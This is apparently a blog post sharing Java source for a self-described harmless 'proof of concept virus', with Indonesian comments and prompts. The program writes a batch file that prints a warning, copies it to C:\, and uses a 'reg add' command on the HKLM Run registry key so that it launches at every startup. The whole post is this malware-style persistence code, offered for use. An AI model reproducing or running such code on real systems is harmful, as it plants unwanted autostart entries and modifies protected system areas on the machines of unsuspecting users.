Twentythree Zone

import java.io.*;
/*  Made by Scythe.Reaperz*/
class CobaVirus {  public static void main(String[] args) throws IOException
 {
 String ScytheVir= "\n...............................................................................\n"         +"..AANNN.........JJJJJJJJJJJJJJ............................I...IIIIIIIIIIIIII..................\n"      +"..AANNN.........JJJJJJJJJJJJJJ............................I...IIIIIIIIIIIIII..................\n"       +"..AANNN.........JJJJJJJJJJJJJJ............................I...IIIIIIIIIIIIII.................\n"        +"..AANNN.........JJJJJJJJJJJJJJ............................I...IIIIIIIIIIIIII.................\n"          +"...AANNN.........JJJJJJJJJJJJJJ............................I...IIIIIIIIIIIIII..................\n"         +"...............................................................................\n";    System.out.println(ScytheVir);
 BufferedReader br_in=new BufferedReader(new InputStreamReader(System.in));    System.out.println("");
 System.out.println("Ini hanyalah Proof of Concept virus yang dibuat menggunakan java\nvirus ini tidak berbahaya dan tidak merusak\nvirus ini sebagai pembuktian bahwa java juga bisa digunakan untuk membuat virus\nTekan enter untuk melanjutkan...");
br_in.readLine();

 /**Membuat file bat yang membantu virus untuk aktif**/ 
 File f=new File("virus.bat");
 if (!f.exists())      f.createNewFile();
 BufferedWriter out=new BufferedWriter(new FileWriter("virus.bat"));
 out.write("@echo off");
 out.newLine();
 out.write("echo komputer Anda telah terserang virus");
 out.newLine(); 
 out.write("pause");
 out.close();

System.out.println("file virus.bat telah tercipta.\ntekan enter untuk melanjutkan...");    br_in.readLine();


  /**Mengopi fie virus ke direktori tertentu**/ 
 //copy virus.bat c:\   

File f1 = new File("virus.bat");
File f2 = new File("c:\\virus.bat");   
InputStream in = new FileInputStream(f1);   

//Jika overwrite   
OutputStream out2 = new FileOutputStream(f2);   
byte[] buf = new byte[1024];   
int len;    while ((len = in.read(buf)) > 0)        
{     
out2.write(buf, 0, len);   
}   
in.close();   
out2.close();   
System.out.println("File virus telah mengopy virus.bat ke direktori c:\\virus.bat\ntekan enter untuk melanjutkan");    br_in.readLine();

    /**Mengakses registry**/
//Membuat agar file virus selalu di-load saat startup

Runtime.getRuntime().exec("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v virus /t reg_sz /d C:\\virus.bat /f");
System.out.println("Virus telah membuat startup diregistry HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ \ndengan nama virus yang akan mengeksekusi C:\\virus.bat setiap startup\ntekan enter untuk melanjutkan...");
br_in.readLine();


//say Thanks   

System.out.println("created by Sycthe.reaperz@gmail.com"); 
}
}

Categories:

Leave a Reply